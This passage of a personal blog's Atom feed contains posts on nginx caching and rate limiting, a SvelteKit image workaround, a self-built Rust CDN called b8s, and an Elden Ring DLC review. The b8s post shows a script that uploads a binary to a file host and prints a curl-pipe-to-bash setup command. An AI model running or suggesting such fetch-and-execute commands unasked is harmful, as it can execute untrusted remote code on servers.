<span class="hljs-attribute">gzip_buffers</span> <span class="hljs-number">16</span> <span class="hljs-number">8k</span>;
<span class="hljs-attribute">gzip_min_length</span> <span class="hljs-number">50</span>;
<span class="hljs-attribute">gzip_types</span>
    text/css
    text/plain
    text/javascript
    application/javascript
    application/json
    application/x-javascript
    application/xml
    application/xml+rss
    application/xhtml+xml
    application/x-font-ttf
    application/x-font-opentype
    application/vnd.ms-fontobject
    application/rss+xml
    application/atom_xml
    image/svg+xml
    image/x-icon;
</code></pre>
<p>I've also added rate limiting to prevent abuse. It won't stop anything more than a small (D)DoS, but that's probably good enough.</p>
<pre class="prettyprint linenums"><code class="nginx language-nginx"><span class="hljs-attribute">limit_req_zone</span> <span class="hljs-variable">$binary_remote_addr</span> zone=documents:<span class="hljs-number">10m</span> rate=1r/s;
<span class="hljs-attribute">limit_req_zone</span> <span class="hljs-variable">$binary_remote_addr</span> zone=assets:<span class="hljs-number">10m</span> rate=5r/s;

<span class="hljs-section">location</span> / {
    [...]
    <span class="hljs-attribute">limit_req</span> zone=documents burst=<span class="hljs-number">2</span> nodelay;
}

<span class="hljs-section">location</span> <span class="hljs-regexp">~* \.(?:png|jpg|jpeg|avif|webp|gif|ico|svg|mp4|mp3|webm)$</span> {
    [...]
    <span class="hljs-attribute">limit_req</span> zone=assets burst=<span class="hljs-number">50</span> nodelay;
}

<span class="hljs-section">location</span> <span class="hljs-regexp">~* \.(?:css|js|woff|woff2)$</span> {
    [...]
    <span class="hljs-attribute">limit_req</span> zone=assets burst=<span class="hljs-number">15</span> nodelay;
}

<span class="hljs-section">location</span> = /rss {
    [...]
    <span class="hljs-attribute">limit_req</span> zone=documents burst=<span class="hljs-number">2</span> nodelay;
}

<span class="hljs-section">location</span> = /atom {
    [...]
    <span class="hljs-attribute">limit_req</span> zone=documents burst=<span class="hljs-number">2</span> nodelay;
}
</code></pre>
<p>There are a few other things I did, but they are boring to talk about so let's move on.</p>
<p>The images in this blog have always been one of it's biggest problems in regards to performance. I am just way too fucking lazy to actually optimise them before publishing them on the site. And the weird shit I do with <a href="/post/black_to_green">dithering</a> has not actually helped very much.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>But I do think it's cool, so it's going to stay for the indefinite future.</span></aside>
<p>That all led me to going through the "Best Practices" section of the SvelteKit docs and finding this nice <a href="https://kit.svelte.dev/docs/images">page about images.</a> That's exactly what I need! So what are the best practices for images??!! Let's read it together.</p>
<blockquote>
  <p>Images can have a big impact on your app's performance. For best results, you should optimize them by doing the following:</p>
</blockquote>
<p>YES!! TELL ME!!</p>
<blockquote>
  <ul>
  <li>generate optimal formats like .avif and .webp</li>
  </ul>
</blockquote>
<p>Ok, as I said before, I'm too lazy to do that. That isn't going to happen.</p>
<blockquote>
  <ul>
  <li>create different sizes for different screens</li>
  </ul>
</blockquote>
<p>Yeah nah mate. That's way too much work.</p>
<blockquote>
  <ul>
  <li>ensure that assets can be cached effectively</li>
  </ul>
</blockquote>
<p>I already do that. Well, as of like 3 days ago I do, but that counts!</p>
<blockquote>
  <p>Doing this manually is tedious. There are a variety of techniques you can use, depending on your needs and preferences.</p>
</blockquote>
<p>Ohhh?? Let's read a little further on.</p>
<blockquote>
  <p> <code class="prettyprint">@sveltejs/enhanced-img</code> is a plugin offered on top of Vite's built-in asset handling. It provides plug and play image processing that serves smaller file formats like avif or webp, automatically sets the intrinsic width and height of the image to avoid layout shift, creates images of multiple sizes for various devices, and strips EXIF data for privacy. It will work in any Vite-based project including, but not limited to, SvelteKit projects.</p>
</blockquote>
<p>Holy shit! "plug and play," "automatically," "will work in any […] SvelteKit project[s]"????</p>
<p>THESE ARE THE WORDS I WANT TO HEAR.</p>
<blockquote>
  <p>Use in your <code class="prettyprint">.svelte</code> components by using <code class="prettyprint">&lt;enhanced:img&gt;</code> rather than <code class="prettyprint">&lt;img&gt;</code> and referencing the image file with a Vite asset import path:</p>
  <p> <code class="prettyprint">&lt;enhanced:img src="./path/to/your/image.jpg" alt="An alt text" /&gt;</code></p>
</blockquote>
<p>OH MY BIDOOF! I just need to switch out <code class="prettyprint">img</code> tags!!! Fuck yeah! That's just a one line change in my Markdown processor! I'm putting this in right now!</p>
<p>Okie dokie, I just changed the <code class="prettyprint">&lt;img&gt;</code> regex to <code class="prettyprint">&lt;enhanced:img&gt;</code>, and now let's go and feast on the fruits of our labour and hard work! I think going to <a href="/post/art_gallery">"A Tour Of My Art Gallery"</a> would probably be the best place to appreciate the results, since it's the post with the most amount of images.</p>
<p><img src="/img/optimisation_artgallery.png" alt="A screenshot of &quot;A tour of my art gallery&quot;, there are no images" /></p>
<p>Wait… huh? Wh-where are the… images???</p>
<p>WHY AREN'T THERE ANY IMAGES?</p>
<p>No!! This can't be happening!! No!!!!!! I was promised "plug and play!!" I PLUGGED SO WHY AREN'T I PLAYING?!!</p>
<p>Don't tell me I'm going to have to do <strong>work</strong> to fix this! No! I don't want to!</p>
<p>NOOOO! WHY CAN'T IT JUST WORK??</p>
<p>ASDJALKWDJAWLKDDHAFLUAWIDNA!11!!1</p>
<p>FUCK SHIT MERDE PUTAIN CHIER FUCK.</p>
<p>;(</p>
<p>Alright. So at build time, the blog takes posts written in Markdown and converts them into HTML be displayed on the webpage. The HTML is injected into the webpage through the <code class="prettyprint">{@html ...}</code> expression Svelte provides. That's probably a good place to start, let's… <a href="https://svelte.dev/docs/special-tags#html">read the docs…</a> I guess.</p>
<blockquote>
  <p>[…] It also will not compile Svelte code.</p>
</blockquote>
<p>Okay, yeah that explains it. Turning <code class="prettyprint">&lt;img&gt;</code> into <code class="prettyprint">&lt;enhanced:img&gt;</code> doesn't work because <code class="prettyprint">&lt;enhanced:img&gt;</code> is a Svelte component which doesn't get rendered in the <code class="prettyprint">{@html ...}</code> expression.</p>
<p>Fine… I see how it is.</p>
<p>I think I have an idea on how to solve this. But it's like… y'know… <em>work</em>. And I really don't feel lik-</p>
<p>Arghh, fine I'll do it. But just because you asked nicely.</p>
<p>So I wrote this Svelte component which splits an HTML string by regex rules, then dynamically renders matched parts as Svelte components with specific props, or as raw HTML if no match is found.</p>
<pre class="prettyprint linenums"><code class="svelte language-svelte"><span class="language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span></span><span class="language-javascript">
  <span class="hljs-keyword">export</span> <span class="hljs-keyword">let</span> html;
  <span class="hljs-keyword">export</span> <span class="hljs-keyword">let</span> rules = [];

  <span class="hljs-keyword">const</span> <span class="hljs-title function_">partitionHtml</span> = (<span class="hljs-params">html, rules</span>) =&gt; {
    <span class="hljs-keyword">return</span> rules.<span class="hljs-title function_">reduce</span>(
      <span class="hljs-function">(<span class="hljs-params">acc, rule</span>) =&gt;</span> {
        <span class="hljs-keyword">return</span> acc.<span class="hljs-title function_">flatMap</span>(<span class="hljs-function">(<span class="hljs-params">substr</span>) =&gt;</span> substr.<span class="hljs-title function_">split</span>(rule.<span class="hljs-property">split</span>));
      },
      [html]
    );
  };

  <span class="hljs-keyword">const</span> <span class="hljs-title function_">findAndTransform</span> = (<span class="hljs-params">array, predicate, transform</span>) =&gt; {
    <span class="hljs-keyword">const</span> foundElement = array.<span class="hljs-title function_">find</span>(predicate);
    <span class="hljs-keyword">return</span> foundElement ? <span class="hljs-title function_">transform</span>(foundElement) : <span class="hljs-literal">null</span>;
  };
</span><span class="language-xml"><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

</span><span class="language-javascript">{</span><span class="hljs-keyword">#each</span><span class="language-javascript"> <span class="hljs-title function_">partitionHtml</span>(html, rules) <span class="hljs-keyword">as</span> part}</span><span class="language-xml">
  </span><span class="language-javascript">{@<span class="hljs-keyword">const</span> match = <span class="hljs-title function_">findAndTransform</span>(
    rules,
    <span class="hljs-function">(<span class="hljs-params">rule</span>) =&gt;</span> rule.<span class="hljs-property">split</span>.<span class="hljs-title function_">test</span>(part),
    <span class="hljs-function">(<span class="hljs-params">rule</span>) =&gt;</span> ({ ...rule, <span class="hljs-attr">props</span>: { ...rule.<span class="hljs-property">props</span>, <span class="hljs-attr">matches</span>: [...part.<span class="hljs-title function_">match</span>(rule.<span class="hljs-property">match</span>)] } }</span><span class="language-xml">)
  )}

  </span><span class="language-javascript">{</span><span class="hljs-keyword">#if</span><span class="language-javascript"> match}</span><span class="language-xml">
    <span class="hljs-tag">&lt;<span class="hljs-name">svelte:component</span> <span class="hljs-attr">this</span>=</span></span><span class="language-javascript">{match.<span class="hljs-property">component</span>}</span><span class="language-xml"><span class="hljs-tag"> </span></span><span class="language-javascript">{...match.<span class="hljs-property">props</span>}</span><span class="language-xml"><span class="hljs-tag"> /&gt;</span>
  </span><span class="language-javascript">{</span><span class="hljs-keyword">:else</span><span class="language-javascript">}</span><span class="language-xml">
    </span><span class="language-javascript">{</span><span class="hljs-keyword">@html</span><span class="language-javascript"> part}</span><span class="language-xml">
  </span><span class="language-javascript">{</span><span class="hljs-keyword">/if</span><span class="language-javascript">}</span><span class="language-xml">
</span><span class="language-javascript">{</span><span class="hljs-keyword">/each</span><span class="language-javascript">}</span><span class="language-xml">
</span></code></pre>
<p>And here is how it's used. <code class="prettyprint">DitheredImage</code> is the component that creates the <code class="prettyprint">&lt;enhanced:img&gt;</code>.</p>
<pre class="prettyprint linenums"><code class="svelte language-svelte"><span class="language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">InjectableHTML</span>
  <span class="hljs-attr">html</span>=</span></span><span class="language-javascript">{data.<span class="hljs-property">post</span>.<span class="hljs-property">html</span>}</span><span class="language-xml"><span class="hljs-tag">
  <span class="hljs-attr">rules</span>=</span></span><span class="language-javascript">{[
    {
      <span class="hljs-attr">split</span>: <span class="hljs-title class_">RegExp</span>(<span class="hljs-string">&#x27;(&lt;img src=&quot;/img/.*&quot;.*/&gt;)&#x27;</span>, <span class="hljs-string">&#x27;i&#x27;</span>),
      <span class="hljs-attr">match</span>: <span class="hljs-title class_">RegExp</span>(<span class="hljs-string">&#x27;src=&quot;/img/(.*?)&quot; alt=&quot;(.*?)&quot;&#x27;</span>, <span class="hljs-string">&#x27;i&#x27;</span>),
      <span class="hljs-attr">component</span>: <span class="hljs-title class_">DitheredImage</span>
    }
  ]}</span><span class="language-xml"><span class="hljs-tag">
/&gt;</span>
</span></code></pre>
<p>I also changed the entire structure of images on this site so that I could use Vite imports with them, and did some other stuff to keep the RSS feed working, but I'd rather not get into it.</p>
<p>So that's cool… I guess. It works now. yay. woo hoo. That only took like an hour or two, which is… well it is what it is.</p>
<p>But this entire thing has got me thinking.</p>
<p>Why am I doing any of this?</p>
<p>I've put so much work into this blog. With all it's iterations, I probably have over a 100 hours of work put into this (on just code, not including time spent writing posts). With my current hourly contracting/consulting rate, that's over $13,500 AUD worth of work done.</p>
<p>For what?</p>
<p>All this work for it to be more expensive, more complicated, less performant, and less reliable than if I just fucking used GitHub Pages or something.</p>
<p>Why?</p>
<p>Am I stupid? ;(</p>
<h2 id="epilogue">Epilogue</h2>
<p>Also I made another status page. You can <a href="https://status.quaso.engineering/">view it here.</a> It's much nicer than my old one which I took down after like two months because I was getting sick of Fly.io's shit. This one is hosted on <a href="https://render.com">Render</a> who I hope are going to be much less… bad. Otherwise I'll just rent another VPS and put Dokku or some shit like that on it.</p>
<p>I put very little effort into the page, which is why it doesn't save historical data, uses Tailwind CSS, and is written in Go. As much as I hate Go (and oh do I fucking <strong>hate</strong> that stupid fucking dweeby-ass gopher who could never be a REAL BRO like Ferris), it's probably the fastest and easiest way to get something like this up.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[The Beauty And Art Of Rust Service Infrastructure]]></title>
        <id>https://justin.duch.me/post/rust_infra</id>
        <link href="https://justin.duch.me/post/rust_infra"/>
        <updated>2024-07-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Hello my lovelies, remember <a href="/post/bash_script_infra">that time</a> almost a year ago when I decided to run this website off a small CDN I made from scratch using a bunch of snakes, glue, and a little rust?</p>
<p>Yeah so quick update on that. And I guess it should not be a surprise to you, but I have some news about how it's held up so far…</p>
<p>There have been… absolutely NO ISSUES.</p>
<p>I'm completely serious, I have not had to touch it ONCE since I set it up.</p>
<p>WHAT THE FUCK. AM- AM I A GOOD PROGRAMMER??</p>
<p>I know my number one piece of advice to people is to <strong>just</strong> "not write bugs" and "do it right the first time." But that's just me fucking around. I didn't know it was even possible to do this?!?!</p>
<p>It fucking WORKS.</p>
<p>So with this great success, you might wonder why I've decided to completely scrap it and rewrite everything entirely into a single Rust project. But honestly, you should really know better by now.</p>
<p>It's Rust.</p>
<p>C'mon mate. It's RUST. Me and Ferris the Crab are BROS. You gotta support your bros!!</p>
<p>Ok there are a few other reasons.</p>
<ol>
<li>I wanted to switch hosting providers and realised that setting everything up again would be super annoying. I want to just plop a single binary into a server and have it work.</li>
<li>I want to make more tools. WE NEED MORE TOOLS. Yes I'm not over that. I still don't understand what the fuck they were talking about.</li>
<li>The DNS server (written in Rust) was the only component of that mess I was somewhat happy with. So I think it would be a good idea to move it all to Rust and be happy with everything.</li>
<li>I have recently become filled with an intense confidence that this wouldn't be very hard.</li>
</ol>
<p>And with that all said, I present to you: <a href="https://git.sr.ht/~beanpup_py/b8s">b8s,</a> my container orchestration system/content delivery network/load balancing cluster.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I have learnt more buzzwords.</span></aside>
<p>I'll get into what it does and how it all works in a second but first, I want to tell you a story of how one of the more important aspects of the system was created.</p>
<p>So I was catching up with one of my old co-workers, and I was telling him about this plan to make my own Kubernetes (in Rust) for a single website that nobody reads.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Ok, I keep saying that nobody reads this blog. But the truth is that I actually have no idea. There's no analytics and I'm not interested in parsing nginx logs. The only indication I get is that sometimes I very occasionally get "fan mail." But I don't know what the "fan mail" to reader ratio normally looks like, so I still can't tell.<br/><br/>I'm going to keep saying nobody reads this blog because I think it's funnier.</span></aside>
<p>And I was going through the list of things I needed to implement.</p>
<ul>
<li>A DNS server with geolocation routing.</li>
<li>An Automatic Certificate Management Environment (ACME) implementation for managing SSL certificates.</li>
<li>A scheduling environment to manage and update the above two.</li>
</ul>
<blockquote>
  <p>"What about an overlay network?" he asked.</p>
  <p>"That seems like a lot of effort. The idea is that everything is done through b8s, and managing wg-quick through code kinda goes against that. The only way to do that would be to embed WireGuard into it, and I feel that wouldn't be very easy."</p>
  <p>"It shouldn't be. WireGuard isn't that complicated, I'm sure you can figure it out."</p>
  <p>"Ugh fine, I'll look into it."</p>
</blockquote>
<p>Normally I would ignore anyone's suggestion about programming because I very clearly know better than everyone else, especially when it's about one of my personal projects. But this dude is probably the best engineer I know, so I felt like I had to at least suss it out.</p>
<p>And so as it turns out, yeah he was completely right. WireGuard? Real fucking easy to add. Got that done in two days.</p>
<p>All I did was embed Cloudflare's userspace Rust implementation of WireGuard called <a href="https://github.com/beanpuppy/boringtun">"BoringTun"</a> (that I forked to make a few fixes) into b8s, and implement the routing by going through the docs: <a href="https://www.wireguard.com/netns/">"Routing & Network Namespace Integration."</a></p>
<p>It was honestly insanely simple, like holy shit I could probably make my own Tailscale at this point.</p>
<p>I took a little dive into the WireGuard protocol as well for the first time, and apart from all the cryptography I just glazed my eyes over, it was surprisingly understandable. Way better than when I looked at OpenVPN. I never knew or appreciated how well designed WireGuard was before, I think I've just become a WireGuard fanenby for life.</p>
<p>No, I'm not going to explain any of it to you.</p>
<p>:)</p>
<p>Anyway, that was the story about how making your own tools can help you appreciate new things. Did you like it? Should I do this more often? Email your thoughts to <code class="prettyprint">/dev/null</code>.</p>
<p>So b8s is split into two services/binaries, a <code class="prettyprint">dom</code> and <code class="prettyprint">sub</code>.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> The <code class="prettyprint">dom</code> is the control plane, basically the source of truth for DNS records and handles managing SSL and WireGuard. This could run off my laptop, but since I'm currently on MacOS, it runs off one of my Linux servers at home. I required there to be no inbound connections to <code class="prettyprint">dom</code> so this is pretty safe (or at least safe enough for me).</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Yes I know, I am very funny.</span></aside>
<p> <code class="prettyprint">sub</code>s are where the actual blog is located. These are currently spread across three nodes in Australia, the UK, and USA respectively. They also run the DNS nameservers in a similar setup to before.</p>
<p>Since having b8s be easy to setup was one of my most important priorities, let's go through the process of adding a new <code class="prettyprint">sub</code> to the network. First from the control plane, I generate the <code class="prettyprint">sub</code> binary and create a link to download it. There's a script called <code class="prettyprint">send-sub</code> to do this.</p>
<pre class="prettyprint linenums"><code class="bash language-bash"><span class="hljs-meta">#!/bin/bash</span>

<span class="hljs-built_in">set</span> -e

cargo build --bin sub --release

URL=$(curl -sF <span class="hljs-string">&quot;file=@target/release/sub&quot;</span> https://file.io | jq <span class="hljs-string">&#x27;.link&#x27;</span>)
<span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;Init:\ncurl https://git.sr.ht/~beanpup_py/b8s/blob/main/scripts/init-sub | BIN_URL=<span class="hljs-variable">$URL</span> bash&quot;</span>
<span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;\n\nUpdate:\ncurl https://git.sr.ht/~beanpup_py/b8s/blob/main/scripts/update-sub | BIN_URL=<span class="hljs-variable">$URL</span> bash\n\n&quot;</span>
</code></pre>
<p>I don't have a place to store binaries so I build them on the fly as needed and send them to a temporary file storage service. This script tells you to initialise a new <code class="prettyprint">sub</code> with this command, where <code class="prettyprint">$URL</code> is the URL from the file storage service.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">curl https://git.sr.ht/~beanpup_py/b8s/blob/main/scripts/init-sub | BIN_URL=<span class="hljs-variable">$URL</span> bash
</code></pre>
<p>This command is run on a completely new server,<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> it does an <code class="prettyprint">apt update</code>, creates a new user to run the <code class="prettyprint">sub</code> under, sets up the firewall <code class="prettyprint">ufw</code>, downloads the <code class="prettyprint">sub</code> binary and runs it as a systemd service. To connect to the <code class="prettyprint">dom</code>, the <code class="prettyprint">sub</code> in it's first run will tell you to run this command:</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Yes I'm piping things directly into bash. It's my script, I know what's in it.</span></aside>
<pre class="prettyprint linenums"><code class="bash language-bash">dom add-sub &lt;IPV4_ADDRESS&gt;:&lt;IPV6_ADDRESS&gt;:&lt;AUTH_TOKEN&gt;:&lt;WIREGUARD_PUBLIC_KEY&gt; -- &lt;COORDINATES&gt; &lt;NAME&gt;
</code></pre>
<p>All those variables expect <code class="prettyprint">NAME</code> are provided, and they should be self-explanatory but lets go through them anyway.</p>
<ul>
<li> <code class="prettyprint">IPV4_ADDRESS</code>: The IPv4 address of the <code class="prettyprint">sub</code>.</li>
<li> <code class="prettyprint">IPV6_ADDRESS</code>: The IPv6 address of the <code class="prettyprint">sub</code>.</li>
<li> <code class="prettyprint">AUTH_TOKEN</code>: Since this is pre-WireGuard connection we need an initial token sent back from the <code class="prettyprint">dom</code> to prove it's legitimacy and authenticate itself.</li>
<li> <code class="prettyprint">WIREGUARD_PUBLIC_KEY</code>: The <code class="prettyprint">sub</code>s public key for WireGuard.</li>
<li> <code class="prettyprint">COORDINATES</code>: The geographic coordinates (latitude and longitude) of the <code class="prettyprint">sub</code>, used for geolocation. More on this later.</li>
</ul>
<p> <code class="prettyprint">NAME</code> is an identifier for the <code class="prettyprint">sub</code> given when we run the command on the <code class="prettyprint">dom</code>. Once that command is run, the <code class="prettyprint">dom</code> sends a gRPC request to the <code class="prettyprint">sub</code> and gives it it's own WireGuard public key and the current DNS records if the <code class="prettyprint">sub</code> is also acting as a nameserver.</p>
<p>The <code class="prettyprint">sub</code> restarts itself once the gRPC request is received and starts the DNS server (if applicable), the WireGuard connection, and pulls the latest blog image from the Docker registry.</p>
<p>There are a few more commands we run with <code class="prettyprint">dom</code> (from here on out, all commands are from <code class="prettyprint">dom</code>, we're done with <code class="prettyprint">sub</code>).</p>
<ul>
<li> <code class="prettyprint">dom geolite</code>: Downloads the latest GeoLite database file and distributes it to all <code class="prettyprint">sub</code>s that are nameservers.</li>
<li> <code class="prettyprint">dom ssl</code>: Generates new SSL certificates for the website and each nameserver, and distributes them to all <code class="prettyprint">sub</code>s.</li>
</ul>
<p>So that's 5 commands at most to setup a new node. It should probably be 3 (or even 2 if I start storing binaries), since the final two could just be done automatically after <code class="prettyprint">add-sub</code>, but I've been double checking everything after each step so far during testing and haven't gotten around to changing that.</p>
<p>Functionally, it's basically the same as it was before. The biggest difference would be the changes to DNS geolocation. Previously with racine it would change the DNS record based on your continent as described by a yaml file like this.</p>
<pre class="prettyprint linenums"><code class="yaml language-yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">blog.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">A</span>
  <span class="hljs-attr">value:</span> <span class="hljs-number">95.216</span><span class="hljs-number">.184</span><span class="hljs-number">.160</span>
  <span class="hljs-attr">geo:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">OC</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">207.148</span><span class="hljs-number">.80</span><span class="hljs-number">.96</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">AS</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">207.148</span><span class="hljs-number">.80</span><span class="hljs-number">.96</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">NA</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">144.202</span><span class="hljs-number">.92</span><span class="hljs-number">.225</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">SA</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">144.202</span><span class="hljs-number">.92</span><span class="hljs-number">.225</span>
</code></pre>
<p>This was easy because of how the GeoLite database is structured, but wasn't the best solution because of how broad it was as well as just being really annoying to manually specify values for every continent.</p>
<p>b8s is using a much cleaner solution of finding the closest node to the user from their coordinates. That's why <code class="prettyprint">dom</code> needs to know the coordinates of every <code class="prettyprint">sub</code>. When choosing what value to give to each <code class="prettyprint">A</code> or <code class="prettyprint">AAAA</code> record, the <code class="prettyprint">sub</code> handling the DNS request will find the nearest <code class="prettyprint">sub</code> to the user using the <a href="https://en.wikipedia.org/wiki/Haversine_formula">haversine formula</a> (each <code class="prettyprint">sub</code> is aware of the coordinates and IP address of every other <code class="prettyprint">sub</code>, but can't communicate due to firewall rules).</p>
<p>The coordinates that come from the GeoLite database are actually wildly inaccurate (compared to other IP geolocation services I'm aware of) and are several kilometres off in most cases, but this isn't an issue for us since I'm not going to have nodes that close to each other anyway.</p>
<p>The second biggest change is that I've changed the secondary domain name from <code class="prettyprint">blog.waifu.church</code> to <code class="prettyprint">quaso.engineering</code>. I needed another domain name to test this with while keeping the existing infrastructure alive and I don't feel like changing it back.</p>
<p>Also I've become obsessed with saying "quaso" at every opportunity now. I don't know why, probably has to do with the fact that it's a funny word, and the meme lightly insults Fr*nch people 🤮.</p>
<p>Do you have any ideas on what to do with <code class="prettyprint">waifu.church</code> now? Send your ideas to <code class="prettyprint">/dev/null</code> and go into the running to win a free, slightly used 5GB iPod Nano or bag of milk (almost expired).<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>I decide whether you get the iPod or bag of milk.</span></aside>
<p>There's a few things I would still like to add - better monitoring is a big one, there's actual load balancing and failovers too, finishing adding tests would be good as well. But I can't really be bothered to do any of that, maybe next year.</p>
<h2 id="epilogue">Epilogue</h2>
<p>Do you know how bad my urge to rewrite this entire website in Rust is? It's honestly unbearable.</p>
<p>But a website is like the one place I don't think Rust is that good for, I've tried it plenty of times and have never been particularly impressed.</p>
<p>But… my bro. How could I let my bro down like this!??</p>
<p>I dunno what to do… ;(</p>
<hr />
<p><strong>Update 2024-07-19:</strong> An additional <code class="prettyprint">sub</code> has been added in Singapore for better performance in Asia. I've also found out about <a href="https://tools.keycdn.com/performance">KeyCDN's performance test</a> which hits your website from 8 different locations around the world. Here are my results.</p>
<p><img src="/img/rust-performance-jdm.png" alt="performance" /></p>
<p>Looks okay. I don't know why Singapore has a Time to First Byte (TTFB) over 300ms when there is literally a node right there. I know that node is working since the Bangalore test is going there (it was at over 400ms before the new <code class="prettyprint">sub</code> was added). So uhh, like it's still a good enough response time, so it's probably fine to ignore?? I don't wanna do anymore work ;( and it's probably a DNS cache thing anyway.</p>
<p>I'm also ignoring the warning about <code class="prettyprint">Content-Length</code> and <code class="prettyprint">ETag</code> values being different. The <code class="prettyprint">Content-Length</code> is only one byte less, so it's probably okay to ignore????</p>
<p>And I have no idea about wtf an <code class="prettyprint">ETag</code> is and I don't care to find out. If I've never heard of it in all my years of doing this shit until now, it probably isn't important. And that's my genuine opinion.</p>
<p>For a reference point, these are the results for my Git hosting provider, <a href="https://sr.ht/">sourcehut.</a> I believe they are hosted on a single server in the Netherlands.</p>
<p><img src="/img/rust-performance-sh.png" alt="performance sourcehut" /></p>
<p><strong>Update a few hours later:</strong> Okie dokie, so apparently I can't read for shit. The <code class="prettyprint">Content-Length</code> difference between nodes was not only "one" byte, but actually a couple hundred. That is a little more concerning.</p>
<p>So I did some digging and as it turns out, the EU and NA nodes were running out of space which meant the Docker image for the blog was not able to be pulled.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span> That is now fixed, so here is what the performance test looks like frfr.</p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>How was I supposed to know 5 GB wasn't enough to run this blog off???</span></aside>
<p><img src="/img/rust-performance-jdm-real.png" alt="performance-real" /></p>
<p>Looks like the Singapore DNS cache thing is resolved. The <code class="prettyprint">ETag</code> warning has also been fixed because it is a value derived from <code class="prettyprint">Content-Length</code>.</p>
<p>Yes, I did look up what an <code class="prettyprint">ETag</code> was. I'm sorry I lied to you. I thought it would make you think I'm so cool that I wasn't going to be haunted by the fact that I didn't know what an <code class="prettyprint">ETag</code> was for the rest of my days. When in reality if I didn't look it up, my mind would have been constantly intruded upon by a little hummingbird pecking at my bean in a way that asks "BUT WHAT THE FUCK IS AN ETAG THO???"</p>
<p>Which I know you think is very uncool ;(</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Finished Shadow Of The Erdtree So Now You Must Read My Incoherent Ramblings Where I Promise To Try My Hardest To Not Talk About The Difficulty]]></title>
        <id>https://justin.duch.me/post/sotet</id>
        <link href="https://justin.duch.me/post/sotet"/>
        <updated>2024-07-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>All right buddies, it's my turn to enter the <strong>discourse</strong>. Here's my hot take on the new Elden Ring DLC.</p>
<p>It's fine. I liked it.</p>
<p>I think the map is much better designed, the higher focus on verticality and spaghetti-like routes between areas does a lot to hide the seams between vastly different areas/biomes that can provide surprisingly unique exploration interests. It's a little disappointing that it was felt a little small, as some of the best moments of the base game were the two times you find yourself wandering into a certain place and saying something like "holy shit, there's more!?"<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<p>But it is only a 30 hour expansion (at least that's how long it took me to rush to and kill all the remembrance bosses) so focusing on density was probably the right choice. And to be honest, it isn't fair to expect a DLC expansion to be as large as the base game, the size is already a lot bigger than what I expected.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>If you know, you know.</span></aside>
<p>I've seen people compare it to the early Dark Souls in terms of how the map was designed. Like it's an open world interpretation of that philosophy. I mostly agree with that, but I think there's a few things that hold it back. The instant fast travel to incredibly numerous sites of grace don't allow that philosophy to shine as much as it could.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> And there's no elevator from the Undead Parish to Firelink Shrine.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I mean, the map design in Dark Souls also starts sucking basically the moment you get fast travel.</span></aside>
<p>Alright that probably needs to be explained. So, in the second Dark Souls going from Firelink Shrine (where you start the game essentially) to Undead Parish is like a two or more hour adventure for a first-time player. When you get to Undead Parish you'd have beaten Taurus Demon and probably Bell Gargoyles. By that time Firelink Shrine would feel like a distant memory.</p>
<p>So imagine then just walking into a church and boarding an innocuous elevator to then realise "holy shit, I'm back here!?" And it's not really even about the map, it's all these little experiences that stick with you after the game is done.</p>
<p>Now it's been over a week since I beat Shadow of the Erdtree, so what has stuck with me?</p>
<p>Well, the art direction is superb, it's honestly very rare for me to actually stop and <em>look</em> at the world. Apart from that, not much.</p>
<p>Uh actually, I do still have clinging thoughts about that BULLSHIT ASS FINAL BO- No! Remember the promise you made Justin. Don't talk about the difficulty you fuck!</p>
<p>Let's go back to world design. This is also a problem I had with the base game (although to a lesser extent), but it's very hard to imagine "The Land of Shadow" (and "The Lands Between") as an actual location that you can exist in. It feels more like an amusement park, a fucking beatiful, vibrant, and mysterious amusement park, but an amusement park nonetheless.</p>
<p>You know how in Dark Souls there's all this decoration out of reach that makes you feel like you're only going through a small fraction of the world? Like the hundreds, maybe thousands of buildings used as scenery in Anor Londo.</p>
